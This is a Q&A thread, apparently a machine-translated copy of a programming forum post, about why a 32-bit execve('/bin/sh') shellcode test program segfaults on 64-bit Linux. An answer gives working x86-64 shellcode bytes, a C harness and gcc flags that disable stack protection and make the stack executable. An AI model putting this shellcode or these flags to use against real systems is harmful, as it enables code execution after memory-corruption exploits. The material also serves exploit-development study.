2017-11-06 28 views
0

내가이 쉘 코드를 실행하기 위해 노력하고있어하지만 난 사용하여 컴파일 세그먼트 오류쉘 코드 버퍼 오버 플로우가

/* call_shellcode.c */ 
/*A program that creates a file containing code for launching shell*/ 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
const char code[] = 
    "\x31\xc0" /* Line 1: xorl %eax,%eax */ 
    "\x50" /* Line 2: pushl %eax */ 
    "\x68""//sh" /* Line 3: pushl $0x68732f2f */ 
    "\x68""/bin" /* Line 4: pushl $0x6e69622f */ 
    "\x89\xe3" /* Line 5: movl %esp,%ebx */ 
    "\x50" /* Line 6: pushl %eax */ 
    "\x53" /* Line 7: pushl %ebx */ 
    "\x89\xe1" /* Line 8: movl %esp,%ecx */ 
    "\x99" /* Line 9: cdq */ 
    "\xb0\x0b" /* Line 10: movb $0x0b,%al */ 
    "\xcd\x80" /* Line 11: int $0x80 */ 
    ; 
int main(int argc, char **argv) 
{ 
    char buf[sizeof(code)]; 
    strcpy(buf, code); 
    ((void(*)())buf)(); 
} 

가 계속 -SegFault 계속 세분화 오류가 계속 발생합니다.

또한, 64 비트 Linux 시스템 (우분투)을 실행 중입니다.

+0

x86-64에서 syscall을 실행하는 명령어는 "int 0x80"이 아닌 "syscall"입니다. – sinkmanu

답변

2

x86-64 시스템에서 32 비트 어셈블리 코드를 사용하고 있습니다. 그래서 문제가 있습니다. x86-64 시스템 용 쉘 코드를 만들어야합니다.

예. 조립체 (32) 비트와의 주요 차이점

400078: 48 31 c0    xor rax,rax 
    40007b: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f 
    400082: 2f 73 68 
    400085: 48 31 f6    xor rsi,rsi 
    400088: 56      push rsi 
    400089: 57      push rdi 
    40008a: 48 89 e7    mov rdi,rsp 
    40008d: 48 31 d2    xor rdx,rdx 
    400090: b0 3b     mov al,0x3b 
    400092: 0f 05     syscall 

하나 인 콜을 사용하는 방법이다. 이 링크 Linux Syscalls x86-64에서 당신은 당신이 sys_execve

INT의에서 execve 호출 할 필요가 무엇 등록 볼 수있다 ([] argv를 const를 숯불 * 파일 이름의 char *의 CONST를 문자 * const를 envp는 []); > RSI

  • 숯 *의 CONST envp는 [] - -> RDX
  • 일예

    • CONST 숯불 * 파일명 - []는 argv> RDI
    • 숯 *의 CONST

      #include <stdlib.h> 
          #include <stdio.h> 
          #include <string.h> 
      
          const char code[] = "\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05"; 
          int main(int argc, char **argv) 
          { 
           char buf[sizeof(code)]; 
           strcpy(buf, code); 
           ((void(*)())buf)(); 
          } 
      

      컴파일하고 테스트하십시오.

      $ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode 
      $ ./shellcode 
      $ uname -a 
      Linux foobar 4.4.0-97-generiC#120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 
      
    1

    code에는 0 바이트가 없으므로 strcpy()을 사용하여 복사 할 수 없습니다. memcpy()을 사용하십시오. 댓글에서 언급 한 바와 같이

    memcpy(buf, code, sizeof(code)); 
    

    은, 당신이 가지고있는 쉘 코드는 32 비트 리눅스,하지만 당신은 64 비트 시스템에서 실행하려는. 아마도이 문제를 수정 한 후 오류를 설명합니다.

    +0

    여전히 세그먼트 화 오류 발생 –

    +0

    어떤 라인에서 오류가 발생합니까? – Barmar

    +0

    gdb를 사용하고 0x00007fffffffe1d8이 있습니까?() –